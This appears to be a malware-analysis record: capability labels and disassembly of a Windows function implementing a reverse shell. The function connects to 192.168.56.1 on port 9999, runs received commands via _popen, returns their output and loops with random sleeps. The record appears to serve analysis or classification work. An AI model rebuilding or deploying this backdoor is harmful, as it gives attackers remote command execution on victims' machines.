Function at 0x403be0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Download and write a file
Initialize winsock library
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Write file on windows

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x5b8
call sym.___main
lea eax, [ebp - 0x5a8]
mov dword [esp], 0x202
mov dword [esp + 4], eax
call sym._WSAStartup_8
sub esp, 8
test eax, eax
jne 0x403dd8
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
call sym._socket_12
sub esp, 0xc
cmp eax, 0xffffffff
mov edi, eax
je 0x403e7f
mov edx, 2
mov dword [esp], 0x270f
lea ebx, [ebp - 0x5b8]
mov word [ebp - 0x5b8], dx
call sym._htons_4
sub esp, 4
mov word [ebp - 0x5b6], ax
mov dword [esp], str.192.168.56.1
call sym._inet_addr_4
sub esp, 4
mov dword [ebp - 0x5b4], eax
mov dword [esp + 8], 0x10
mov dword [esp + 4], ebx
mov dword [esp], edi
call sym._connect_12
sub esp, 0xc
cmp eax, 0xffffffff
je 0x403e6c
lea ebx, [ebp - 0x418]
lea esi, [esi]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x3ff
mov dword [esp + 4], ebx
mov dword [esp], edi
call sym._recv_16
sub esp, 0x10
cmp eax, 0xffffffff
je 0x403e48
test eax, eax
je 0x403dae
mov dword [esp + 4], 0x40512d
mov dword [esp], ebx
mov byte [ebp + eax - 0x418], 0
call sym.__popen
test eax, eax
mov esi, eax
je 0x403e05
mov dword [esp + 8], esi
mov dword [esp + 4], 0x3ff
mov dword [esp], ebx
call sym._fgets
test eax, eax
je 0x403d70
mov eax, ebx
mov ecx, dword [eax]
add eax, 4
lea edx, [ecx - 0x1010101]
not ecx
and edx, ecx
mov ecx, edx
and ecx, 0x80808080
je 0x403d1c
and edx, 0x8080
jne 0x403d43
shr ecx, 0x10
add eax, 2
mov edx, ecx
mov dword [esp + 0xc], 0
mov dword [esp + 4], ebx
add dl, cl
mov dword [esp], edi
sbb eax, 3
sub eax, ebx
mov dword [esp + 8], eax
call sym._send_16
sub esp, 0x10
jmp 0x403d02
mov dword [esp], esi
call sym.__pclose
call sym._rand
mov esi, eax
mov eax, 0x10624dd3
imul esi
mov ecx, esi
sar ecx, 0x1f
sar edx, 7
sub edx, ecx
imul eax, edx, 0x7d0
sub esi, eax
add esi, 0x3e8
mov dword [esp], esi
call sym._Sleep_4
sub esp, 4
jmp 0x403cb0
mov dword [esp], str.Server_closed_the_connection
call sym._puts
mov dword [esp], edi
call sym._closesocket_4
sub esp, 4
call sym._WSACleanup_0
lea esp, [ebp - 0x10]
xor eax, eax
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret
call sym._WSAGetLastError_0
mov dword [esp + 8], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 4], str.Failed_to_initialize_Winsock._Error_code:__d_n
add eax, 0x40
mov dword [esp], eax
call sym._fprintf
mov dword [esp], 1
call sym._exit
mov ebx, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x16
mov dword [esp + 4], 1
mov dword [esp], str.Failed_to_run_command_n
add ebx, 0x40
mov dword [esp + 0xc], ebx
call sym._fwrite
mov dword [esp], edi
call sym._closesocket_4
push eax
call sym._WSACleanup_0
mov dword [esp], 1
call sym._exit
call sym._WSAGetLastError_0
mov dword [esp + 4], str.Receive_failed._Error_code:__d_n
mov dword [esp + 8], eax
mov esi, dword [sym.imp.msvcrt.dll__iob]
add esi, 0x40
mov dword [esp], esi
call sym._fprintf
jmp 0x403e2e
call sym._WSAGetLastError_0
mov dword [esp + 4], str.Connection_failed._Error_code:__d_n
mov dword [esp + 8], eax
jmp 0x403e59
call sym._WSAGetLastError_0
mov edi, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], eax
mov dword [esp + 4], str.Socket_creation_failed._Error_code:__d_n
add edi, 0x40
mov dword [esp], edi
call sym._fprintf
call sym._WSACleanup_0
mov dword [esp], 1
call sym._exit
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop